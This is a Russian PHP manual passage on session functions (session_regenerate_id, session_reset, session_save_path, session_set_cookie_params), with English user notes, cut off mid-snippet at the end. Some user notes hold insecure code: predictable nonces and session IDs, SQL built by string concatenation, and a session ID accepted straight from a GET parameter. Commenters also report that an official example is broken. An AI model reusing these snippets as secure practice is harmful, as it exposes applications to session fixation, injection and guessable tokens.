session_regenerate_id — Генерирует и обновляет идентификатор текущей сессии

Описание

session_regenerate_id(bool $delete_old_session = false): bool

session_regenerate_id() заменяет идентификатор текущей сессии вновь сгенерированным, при этом сохраняет информацию о текущей сессии.

При включённой опции session.use_trans_sid, вывод должен осуществляться после вызова session_regenerate_id(). В противном случае будет использоваться старый идентификатор сессии.

Внимание

Текущая реализация session_regenerate_id() плохо работает с сетями с нестабильным соединением, такими как мобильные и WiFi-сети. Таким образом, есть вероятность потерять сессию из-за вызова session_regenerate_id().

Вы не должны уничтожать данные старой сессии немедленно, а должны использовать временные метки удаления и контролировать доступ к старой сессии. В противном случае конкурирующий доступ к странице может привести к несогласованному состоянию, потере сессии или к состоянию гонки на стороне клиента (браузера), что, в свою очередь, приведёт к созданию множества идентификаторов сессии без необходимости. Немедленное удаление сессии также делает невозможным обнаружение и предотвращение атак при перехвате сессии.

Список параметров

delete_old_session

Определяет, удалять ли старый связанный файл с сессией или нет. Не следует удалять старую сессию, если требуется избегать состояния гонки из-за удаления или обнаруживать/избегать атак при перехвате сессии.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования session_regenerate_id()

<?php
// ЗАМЕЧАНИЕ: Это не полностью работающий код, а только пример!

session_start();

// Проверяем временную метку удаления
if (isset($_SESSION['destroyed'])
&& $_SESSION['destroyed'] < time() - 300) {
// Обычно это не должно происходить. Это может быть атакой или результатом нестабильной сети.
// Удаляем все статусы аутентификации пользователей этой сессии.
remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
throw(new DestroyedSessionAccessException);
}

$old_sessionid = session_id();

// Устанавливаем временную метку удаления
$_SESSION['destroyed'] = time(); // session_regenerate_id() сохраняет данные старой сессии

// Просто вызов session_regenerate_id() может привести к потере сессии и т.д.
// Смотрите следующий пример.
session_regenerate_id();

// Новой сессии не требуется временная метка удаления.
unset($_SESSION['destroyed']);

$new_sessionid = session_id();

echo "Старая сессия: $old_sessionid<br />";
echo "Новая сессия: $new_sessionid<br />";

print_r($_SESSION);
?>

Текущий модуль сессии не работает хорошо с сетями с нестабильным соединением. Вы должны управлять идентификатором сессии, чтобы избежать потери сессии в результате вызова session_regenerate_id().

Пример #2 Как избежать потери сессии при использовании session_regenerate_id()

<?php
// ЗАМЕЧАНИЕ: Это не полностью работающий код, а только пример!
// my_session_start() и my_session_regenerate_id() избегают потери
// сессии из-за нестабильной сети. В дополнение, данный код может предотвращать
// использование украденных сессий злоумышленниками.

function my_session_start() {
session_start();
if (isset($_SESSION['destroyed'])) {
if ($_SESSION['destroyed'] < time()-300) {
// Обычно это не должно происходить. Это может быть атакой или результатом нестабильной сети.
// Удаляем все статусы аутентификации пользователей этой сессии.
remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
throw(new DestroyedSessionAccessException);
}
if (isset($_SESSION['new_session_id'])) {
// Срок действия ещё не полностью истёк. Cookie могли быть потеряны из-за нестабильной сети.
// Заново пытаемся установить правильный cookie идентификатора сессиии.
// ЗАМЕЧАНИЕ: Не пытайтесь заново установить идентификатор сессии если, вы предпочитаете
// удалить флаг аутентификации.
session_commit();
session_id($_SESSION['new_session_id']);
// Новый идентификатор сессии должен существовать.
session_start();
return;
}
}
}

function my_session_regenerate_id() {
// Новый идентификатор сессии необходим для установки правильного идентификатора сессии,
// когда идентификатор сессии не был установлен из-за нестабильной сети.
$new_session_id = session_create_id();
$_SESSION['new_session_id'] = $new_session_id;

// Устанавливаем временную метку удаления.
$_SESSION['destroyed'] = time();

// Записываем и закрываем текущую сессию.
session_commit();

// Стартуем сессию с новым идентификатором.
session_id($new_session_id);
ini_set('session.use_strict_mode', 0);
session_start();
ini_set('session.use_strict_mode', 1);

// Новой сессии не нужно это.
unset($_SESSION['destroyed']);
unset($_SESSION['new_session_id']);
}
?>

Смотрите также

  • session_id() - Получает и/или устанавливает идентификатор текущей сессии
  • session_create_id() - Создаёт новый идентификатор сессии
  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session_destroy() - Уничтожает все данные сессии
  • session_reset() - Реинициализирует сессию оригинальными значениями
  • session_name() - Получить или установить имя текущей сессии

User Contributed Notes

Rumour 07-Jan-2024 06:47
The code example provided of my_session_regenerate_id() DOES NOT work and DESTROYS all session variables. Plus the second ini_set gives an error.

The code for regenerating (only that part, the rest seems fine) should simply be this:

<?php
function my_session_regenerate_id() {
    $new_session_id = session_create_id();

    // backup session variables
    $keepSession = $_SESSION ;

    // add info for users with bad connection not receiving the new session id
    $_SESSION['new_session_id'] = $new_session_id;
    // Set destroy timestamp
    $_SESSION['destroyed'] = time();

    // Write and close current session;
    session_commit() ;

    // Start session with new session ID
    ini_set('session.use_strict_mode', 0);
    session_id($new_session_id);
    session_start();
    $_SESSION = $keepSession ;
}
?>
antomsa at hotmail dot it 18-Sep-2021 02:00
<?php

function my_session_regenerate_id() {
    ...
    session_start();
    ...

    unset($_SESSION['destroyed']);
    unset($_SESSION['new_session_id']);
}

?>

Within my_session_regenerate_id(), unset($_SESSION['destroyed']) and
 unset($_SESSION['new_session_id']) are useless because session_start() will open an empty session. They would be needed if built-in session_regenerate_id() was called.
Alamin 28-Jun-2018 02:26
In the second example provided by php.net, should it call my_session_start inside the session regenerate method instead of directly calling session_start? I think it is an error.
mikebranttx at gmail dot com 17-May-2017 03:10
Note that in current PHP 7.2 nightly builds example #2 above will not work as shown.  You will get following error upon trying to turn strict mode back on after session_start():

"ini_set(): A session is active. You cannot change the session module's ini settings at this time"

I suppose this means that for any session where you perform session ID regeneration or session ID forwarding (from a session for which a recent session ID regeneration was performed to the new session ID). That you will just have to live with strict mode being disabled for the remainder of that active session.

I don't know that this is really a security concern so long as you are following a single-session per request design (i.e. you are not working with multiple concurrent sessions).
k-gun !! mail 08-Jan-2017 11:27
Document example is wrong with usage of "session.use_strict_mode" according to RFC (says: "warning error for session_id() when use_strice_mode=1" on https://wiki.php.net/rfc/strict_sessions).

So, this directive affects "session_id()" not "session_start()". So usage must be like this;

<?php
// first set ini
ini_set('session.use_strict_mode', '0');
// and
session_id($sid);

// then
// maybe run this: ini_restore('session.use_strict_mode');

// then go on...
?>

Refs (ctrl+f & use_strict_mode);
https://wiki.php.net/rfc/strict_sessions
https://wiki.php.net/rfc/session-create-id
http://php.net/manual/en/function.session-id.php#119997
ei dot rik dot ops dot tad at gmail dot com 02-Jun-2016 10:11
In PHP 5.6 (and probably older versions), session_regenerate_id(true) do not trigger a read() call to the session handler for the new session id.

In PHP 7, read() is triggered during session_regenerate_id(true). Nice to know when working with custom session handlers.
tedivm at tedivm dot com 17-Jan-2016 08:37
I wrote the current top voted comment on this and wanted to add something. The existing code from my previous comment generates it's nonces in an insecure way-

<?php
$_SESSION['nonce'] = md5(microtime(true));
?>

Since "microtime" is predictable it makes brute forcing the nonce much easier. A better option would be something that utilizes randomness, such as-

<?php
bin2hex(openssl_random_pseudo_bytes(32))
?>
kgm_india at yahoo dot co dot in 25-Nov-2013 11:40
as far as I have understood reading this online notes,

session_name() is the name which is identified as session a through the cookies or http links.

session_id is  like a transaction within a session_name() and one session_name may have many session_id

each session_id has the corresponding data stored.

session_id are used in read and write callback under a session_name

whatever it is, first call the
 session_name(),
then call session_id ()
and then call start_session()

start_session will open the session_name, then check the session_id called before and use it in the read or write call back for storing or retrieving data

calling start_session() without session_name or session_id will use the default session_name and the default session_id in that order

I hope if the order is followed there should not be any problems.

do not call session_name or session_id after start_session(), if you are specific on using them.

thank you for others note.
spmtrap at yahoo dot com 31-Jan-2012 02:48
`session_regenerate_id` sends a new cookie but doesn't overwrite the value stored in `$_COOKIE`. After calling `session_destroy`, the open session ID is discarded, so simply restarting the session with `session_start` (as done in Ben Johnson's code) will re-open the original, though now empty, session for the current request (subsequent requests will use the new session ID). Instead of `session_destroy`+`session_start`, use the `$delete_old_session` parameter to `session_regenerate_id` to delete the previous session data.

<?php
session_start();
/* Create a new session, deleting the previous session data. */
session_regenerate_id(TRUE);
/* erase data carried over from previous session */
$_SESSION=array();
?>

To start a new session and leave the old untouched, simply leave out the argument to `session_regenerate_id`.
gr at gr5 dot org 30-Aug-2011 06:57
If you are trying to maintain 2 active sessions don't use session_regenerate_id().  Especially if the first session is closed and it's time to open the second.  Because the session id is cached you also have to explicitly set it the second time.

<?php
session_name('PHPSESSID'); // redundant - here for clarity
session_start();
// ...do stuff
session_write_close();

// now switch to session 2...
session_name('PHPSESSID_2');
if (isset($_COOKIE['phpsessid_2']))
    session_id($_COOKIE['phpsessid_2']); // not doing this will simply reopen the first session again
else
    session_id(sha1(mt_rand()); // dont use session_regenerate_id() here.  Not creating a new id will create two cookies with same session id and same session variables
session_start();
// ... do stuff with session 2
session_write_close();
?>
Ben Johnson 04-Oct-2010 06:50
To "start a new session", try the following:

<?php
session_start();
session_regenerate_id();
session_destroy();
unset($_SESSION);
session_start();
?>
raido dot aasoja at gmail dot com 26-Sep-2010 11:28
A note on lost sessions and trying to fix it with session_regenerate_id:
Make sure that you're not trying to push SimpleXML object to the session. It just won't go without first converting it to array. :)
tedivm at tedivm dot com 29-Dec-2008 06:36
I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things.

I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful.

<?php
function regenerateSession($reload = false)
{
    // This token is used by forms to prevent cross site forgery attempts
    if(!isset($_SESSION['nonce']) || $reload)
        $_SESSION['nonce'] = md5(microtime(true));

    if(!isset($_SESSION['IPaddress']) || $reload)
        $_SESSION['IPaddress'] = $_SERVER['REMOTE_ADDR'];

    if(!isset($_SESSION['userAgent']) || $reload)
        $_SESSION['userAgent'] = $_SERVER['HTTP_USER_AGENT'];

    //$_SESSION['user_id'] = $this->user->getId();

    // Set current session to expire in 1 minute
    $_SESSION['OBSOLETE'] = true;
    $_SESSION['EXPIRES'] = time() + 60;

    // Create new session without destroying the old one
    session_regenerate_id(false);

    // Grab current session ID and close both sessions to allow other scripts to use them
    $newSession = session_id();
    session_write_close();

    // Set session ID to the new one, and start it back up again
    session_id($newSession);
    session_start();

    // Don't want this one to expire
    unset($_SESSION['OBSOLETE']);
    unset($_SESSION['EXPIRES']);
}

function checkSession()
{
    try{
        if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time()))
            throw new Exception('Attempt to use expired session.');

        if(!is_numeric($_SESSION['user_id']))
            throw new Exception('No session started.');

        if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR'])
            throw new Exception('IP Address mixmatch (possible session hijacking attempt).');

        if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT'])
            throw new Exception('Useragent mixmatch (possible session hijacking attempt).');

        if(!$this->loadUser($_SESSION['user_id']))
            throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']);

        if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1)
        {
            $this->regenerateSession();
        }

        return true;

    }catch(Exception $e){
        return false;
    }
}

?>
soapergem at gmail dot com 29-Aug-2008 03:50
This can be a very dangerous function if you're not careful about how you handle things, because even though it generates a whole new set of session data, it keeps the old data "open" until the script terminates, locking out any other scripts trying to run concurrently with the old session id.

Recently I came across a situation where I wanted to explicitly pass in a session ID, copy the data from that session into a *new* session, and then continue operating under that new session, thereby allowing other scripts to use the old one concurrently. But I quickly found that these "other scripts" would not execute until the first script finished--even though it had already started a new session--because it kept the old session open.

So if you're trying to copy over session data to a new session to free up the old session for continued, concurrent use, here's some code to ensure nobody's feet get stepped on:

<?php

//  get session id of an existing session
$sid = $_GET['sid'];

//  start the old session to retrieve $_SESSION data
session_id($sid);
session_start();

//  start a new session; this copies the $_SESSION data over
session_regenerate_id();

//  hang on to the new session id
$sid = session_id();

//  close the old and new sessions
session_write_close();

//  re-open the new session
session_id($sid);
session_start();

/* main code here */

?>

This could probably be encapsulated into a function with one parameter as well to save space if it was a repeated thing.
primenetworkzx at gmail dot com 14-Jun-2008 11:40
If you are storing your session data in a database you have to manually update the session_id in the database. The session_set_save_handler() will not do it for you.

function UpdateSessID() {
    $old_sess_id = session_id();
    session_regenerate_id(false);
    $new_sess_id = session_id();

    $query = "UPDATE `session_table` SET `session_id` = '$new_sess_id' WHERE session_id = '$old_sess_id'";
        mysql_query($query);
}

Be sure to set session_regenerate_id() to FALSE since it's not really necessary to delete the whole record from MySQL and add it again. That's unnecessary overhead. Only changing the id matters.
sopel 19-Sep-2005 05:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com 24-Aug-2005 10:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
Nicolas dot Chachereau at Infomaniak dot ch 02-Jun-2005 11:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee 16-Jan-2005 05:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com 06-Jan-2005 08:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de 20-Dec-2004 09:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org 15-Nov-2004 03:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl 28-Oct-2004 02:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
    session_start();
    session_regenerate_id();
    session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
    session_start();
    session_regenerate_id();
    header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
    session_start();
    session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
babel at nosqamplease sympatico ca 22-Feb-2004 08:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de 05-Sep-2003 06:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
    if(
            (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
    ) {
        session_regenerate_id();
        session_unset();
    }
} else {
    $currentdata = array();
    $currentdata['host'] = $this->host;
    $currentdata['dns'] = $this->dns;
    $currentdata['useragent'] = $this->useragent;

    session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he can?t be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk 27-Aug-2003 07:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

    // Output a warning about the messed up session-id.
    $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

    // Generate a fresh session-id.
    session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.


Функция завершения сессии

  • « session_regenerate_id
  • session_reset »
  • PHP Manual
  • Функции для работы с сессиями
  • Функция завершения сессии

session_register_shutdown

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_register_shutdown — Функция завершения сессии

Описание

session_register_shutdown(): void

Регистрирует функцию session_write_close() в качестве функции завершения сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

При неудачной регистрации завершающей функции генерирует ошибку уровня E_WARNING.

User Contributed Notes

There are no user contributed notes for this page.


Реинициализирует сессию оригинальными значениями

  • « session_register_shutdown
  • session_save_path »
  • PHP Manual
  • Функции для работы с сессиями
  • Реинициализирует сессию оригинальными значениями

session_reset

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_reset — Реинициализирует сессию оригинальными значениями

Описание

session_reset(): bool

Функция session_reset() повторно инициализирует сессию, используя оригинальные значения, сохранённые в хранилище сессии. Эта функция требует наличия активной сессии и уничтожает все изменения в массиве $_SESSION.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
7.2.0 | Теперь возвращаемый тип этой функции bool. Раньше был тип void.

Смотрите также

  • $_SESSION
  • Опция конфигурации session.auto_start
  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session_abort() - Отменяет изменения в массиве сессии и завершает её
  • session_commit() - Псевдоним session_write_close

User Contributed Notes

parsa dot mhn at outlook dot com 02-Sep-2015 08:14
First of all you should execute this code :
<?php
    session_start();
    $_SESSION["A"] = "Some Value";
?>

then you should execute this one :

<?php
    start_session();
    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>

That is because session_reset() is rolling back changes to the last saved session data, which is their values right after the session_start().
vijay dot mits at gmail dot com 21-Apr-2015 09:12
first create a session variable

<?php
    session_start();
    $_SESSION["A"] = "Some Value";
    echo $_SESSION["A"];

    //Output: Some Value

    //if you need to rollback the session values after seting new value to session variables use session_reset()

    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>


Получает и/или устанавливает путь сохранения сессии

  • « session_reset
  • session_set_cookie_params »
  • PHP Manual
  • Функции для работы с сессиями
  • Получает и/или устанавливает путь сохранения сессии

session_save_path

(PHP 4, PHP 5, PHP 7, PHP 8)

session_save_path — Получает и/или устанавливает путь сохранения сессии

Описание

session_save_path(?string $path = null): string|false

session_save_path() возвращает путь текущей директории, которая используется для сохранения данных сессии.

Список параметров

path

Путь для данных сессии. Если указан и не равен null, то путь, куда сохраняются данные, будет изменён. Для этой цели session_save_path() следует вызывать перед session_start().

Замечание:

В некоторых операционных системах вы можете указать путь в файловой системе, которая эффективно обрабатывает большое число небольших файлов. Например, в Linux файловая система reiserfs может обеспечить лучшую производительность, чем ext2fs.

Возвращаемые значения

Возвращает путь текущей директории, используемой для хранения данных сессии или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | path теперь может быть null.

Смотрите также

  • session.save_path

User Contributed Notes

Ale 25-Apr-2024 09:38
This function seems to simply return the value of session.save_path from the [Session] section of php.ini. This has an important implication: the returned value can as well look like "0;0660;/var/lib/php/sessions", which is of course no valid path.

A way to extract the path despite the possible semicolons can be something like:

$ssp = explode(';', session_save_path());
echo end($ssp);

As end takes the array by reference, it's not possible to make a real one-liner without relying on an intermediate variable.
hrushiemail at gmail dot com 09-Feb-2019 03:29
<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/tmp'));
ini_set('session.gc_probability', 1);
session_start();

?>

(for using above code create a tmp folder/directory in your directory)
ohcc at 163 dot com 15-Dec-2017 07:42
If session.save_handler is set to files, on systems that have maximum path length limitations, when the session data file's path is too long, php may get you an error like "No such file or directory" and fails to start session, although the session-saving folder really exists on the disk.

You should:

1. Keep the session-saving folder's absolute path not too long
2. If you're with PHP 7.1+, don't set session.sid_length to a number too great, such as 255

I once got stuck with this problem on Windows and wasted hours to solve it.
mdibbets at outlook dot nospam 03-Oct-2013 07:45
I made a folder next to the public html folder and placed these lines at the very first point in index.php

Location of session folder:

/domains/account/session

location of index.php

/domains/account/public_html/index.php

What I placed in index.php at line 0:

<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
session_start();

This is the only solution that worked for me. Hope this helps someone.
alvaro at demogracia dot com 26-May-2010 03:42
Debian does not use the default garbage collector for sessions. Instead, it sets session.gc_probability to zero and it runs a cron job to clean up old session data in the default directory.

As a result, if your site sets a custom location with session_save_path() you also need to set a value for session.gc_probability, e.g.:

<?php
session_save_path('/home/example.com/sessions');
ini_set('session.gc_probability', 1);
?>

Otherwise, old files in '/home/example.com/sessions' will never get removed!
sampathperera at hotmail dot com - Sri Lanka 05-Feb-2008 11:25
Session on clustered web servers !

We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server.

So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/).

It works for me. :)


Устанавливает параметры сессионной cookie

  • « session_save_path
  • session_set_save_handler »
  • PHP Manual
  • Функции для работы с сессиями
  • Устанавливает параметры сессионной cookie

session_set_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_cookie_params — Устанавливает параметры сессионной cookie

Описание

session_set_cookie_params(
int $lifetime_or_options,
?string $path = null,
?string $domain = null,
?bool $secure = null,
?bool $httponly = null
): bool

Альтернативная сигнатура доступна с PHP 7.3.0:

session_set_cookie_params(array $lifetime_or_options): bool
session_set_cookie_params(array $options): bool

Устанавливает параметры cookie, определённые в файле php.ini. Эффект этой функции сохраняется только на время выполнения скрипта. Таким образом, нужно вызывать session_set_cookie_params() для каждого запроса и перед каждым вызовом session_start().

Данная функция обновляет текущие ini-значения соответствующих ключей конфигурации PHP ini, которые можно получить с помощью ini_get().

Список параметров

lifetime_or_options

Если использовать первую сигнатуры, время жизни сессионной куки, заданное в секундах.

Если использовать вторую сигнатуру, то ассоциативный массив (array), который может иметь любое из ключей lifetime, path, domain, secure, httponly и samesite. Значения имеют тот же смысл, как описано в параметрах с соответствующим именем. Значение элемента samesite должно быть либо Lax, либо Strict. Если какая-либо из допустимых опций не указана, её значения по умолчанию совпадают с значениями по умолчанию для явных параметров. Если элемент samesite не указан, cookie-атрибут SameSite не установлен.

path

Путь в домене, где cookie будет работать. Используйте одну косую черту ('/') для всех путей в домене.

domain

Домен cookie, например 'www.php.net'. Чтобы сделать cookies видимыми для всех поддоменов, перед именем домена нужно поставить точку, например '.php.net'.

secure

Если true, то cookies будут передаваться только через защищённые соединения.

httponly

Если установлено true, то PHP попытается отправить флаг httponly при настройке сессионной cookie.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | path, domain, secure и httponly теперь могут быть null.
7.3.0 | Добавлена альтернативная подпись, поддерживающая массив опций lifetime_or_options. Эта подпись поддерживает также настройку cookie-атрибута SameSite.
7.2.0 | Возвращает true в случае успешного выполнения или false, если возникла ошибка. Ранее возвращала тип void.

Смотрите также

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_get_cookie_params() - Возвращает параметры cookie сессии

User Contributed Notes

theking2(at)king.ma 26-Feb-2024 08:39
For complete session cookie control I use this snippit

<?php
    session_set_cookie_params( [
        'lifetime' => 0,
        'path' => '/',
        'domain' => $_SERVER['HTTP_HOST'],
        'samesite' => 'Strict',
    ] );
    session_start( [
        'name' => 'SESSION',
        'sid_length' => 96,
        'sid_bits_per_character' => 6,
        'use_strict_mode' => true,
        'referer_check' => $_SERVER['HTTP_HOST'],
    ] );
?>

This will set the params to the recommended ones and generates a cookie  id of reasonable quality.
theking2(at)king.ma 14-Sep-2023 11:28
As per version PHP 7 session_start can include an option array this function became obsolete. All cookie settings (and many more) can be included in an option array as a parameter to session_start():

<?php
    session_start( [
        'cookie_path' => '/',
        'cookie_lifetime' => 300,
        'cookie_secure' => true,
        'cookie_httponly' => true,
        'cookie_samesite' => 'lax',
    ] );
eion at robbmob dot com 03-Mar-2021 07:24
Unfortunately session_set_cookie_params() cannot be called during an active session, it'll just E_WARNING and return false, which means calling session_regenerate_id() (eg, during login to prevent a session fixation attack) could end up using old cookie settings (eg, not "SameSite=Strict")

To ensure any future sessions are being created with the right cookie settings, you're better off to use ini_set() to set the cookie parameters - which is all that session_set_cookie_params() does under the hood anyway
frank at frankforte dot ca 02-Jun-2020 02:53
The following appears to work for setting the SameSite attribute on session cookies for PHP < 7.3.

<?php

    $secure = true; // if you only want to receive the cookie over HTTPS
    $httponly = true; // prevent JavaScript access to session cookie
    $samesite = 'lax';

    if(PHP_VERSION_ID < 70300) {
        session_set_cookie_params($maxlifetime, '/; samesite='.$samesite, $_SERVER['HTTP_HOST'], $secure, $httponly);
    } else {
        session_set_cookie_params([
            'lifetime' => $maxlifetime,
            'path' => '/',
            'domain' => $_SERVER['HTTP_HOST'],
            'secure' => $secure,
            'httponly' => $httponly,
            'samesite' => $samesite
        ]);
    }
?>
passerbyxp at gmail dot com 22-Jun-2012 07:50
One might want to be noted that the browsers are case-sensitive to the $path parameter.

For example, if you do this:
<?php
session_set_cookie_params(0,"/webapp/");
session_start();
?>

and you visit your site in this way:
example.com/WebApp/

You would get a new session on every request.

I'm not sure if this is the standard, but I see this happens on IE 6, Firefox 12 (Palemoon, actually), Chrome 19 (Portable version), and on both IIS and Apache.
werner dot avenant at gmail dot com 19-Jun-2012 08:58
Please take note of the garbage collection "feature" on systems like Ubuntu and Debian.

apt-get installs a cron script at /etc/cron.d/php5 that checks the session.gc_maxlifetime variable and then deletes all old sessions every 9 and 39 minutes.

The problem is: If you set the maxlifetime for a specific virtual host, those settings will be ignored. Lets say you want your server to store sessions for only 30 minutes, but for one special website you want all sessions to be 24 hours. If you set the session.gc_maxlifetime in .htaccess, your apache conf or use ini_set in your code, it won't work and sessions will still be destroyed after 30 minutes. That's because /usr/lib/php5/maxlifetime (found in that cron file) will always return the value in your php.ini, not the values you set in .htaccess.

A workaround is to set the maxlifetime to the maximum your sites require, and then configure a shorter maxlifetime in your .htaccess for those sites that don't need it.

Another solution is to give the php5 file in /etc/cron.d sane values, ie, only let it run at 3am in the morning, but you'll have to remember to block the replacement of this file it every time you update php.
Danack dot Ackroyd at gmail dot com 30-Jun-2011 01:20
Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP.

All other cookies set by calling the function setcookie() either:
i) Use the domain set explicitly in the call to setcookie()
or
ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain.

So to make all your cookies be available across all sub-domains of your site you need to do this:

<?php
$currentCookieParams = session_get_cookie_params();

$rootDomain = '.example.com';

session_set_cookie_params(
    $currentCookieParams["lifetime"],
    $currentCookieParams["path"],
    $rootDomain,
    $currentCookieParams["secure"],
    $currentCookieParams["httponly"]
);

session_name('mysessionname');
session_start();

setcookie($cookieName, $cookieValue, time() + 3600, '/', $rootDomain);
?>
final dot wharf at gmail dot com 28-Oct-2010 07:42
As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem.

<?php
  $lifetime=600;
  session_set_cookie_params($lifetime);
  session_start();
?>

This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows:

<?php
  $lifetime=600;
  session_start();
  setcookie(session_name(),session_id(),time()+$lifetime);
?>

And now we have the same session cookie with the lifetime set to the proper value.
digitalmagnets at gmail dot com 31-Mar-2010 01:36
It appears that if you are setting a session cookie on https://subdomain123.example.com for .example.com that the default of the secure cookie is not false but true.

So your cookie won't work on http://subdomainxyz.example.com unless you set the secure option to false.
jan at dewal dot net 19-Mar-2010 02:42
The information above about this function that it can only be used BEFORE session_start depends on how you use it. Because its also useful AFTER a session has started as follows:

Example you wand to change an already set value of the session cookie expire time:

<?php

 // Here we start as usual
session_set_cookie_params('3600'); // 1 hour
session_start();

// More code...

// Now we found in some database that the user whishes
// the cookie to expire after for example 10 minutes
// we can change it instantly !

session_set_cookie_params('600'); // 10 minutes.
session_regenerate_id(true);

// This will delete old cookie and adopt new expire settings and the
// old cookie variables in a new cookie

?>

Please note i only explained the browser (client) side changes of session cookie's expire time.
Miki 04-Dec-2009 10:13
REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website:

<?php
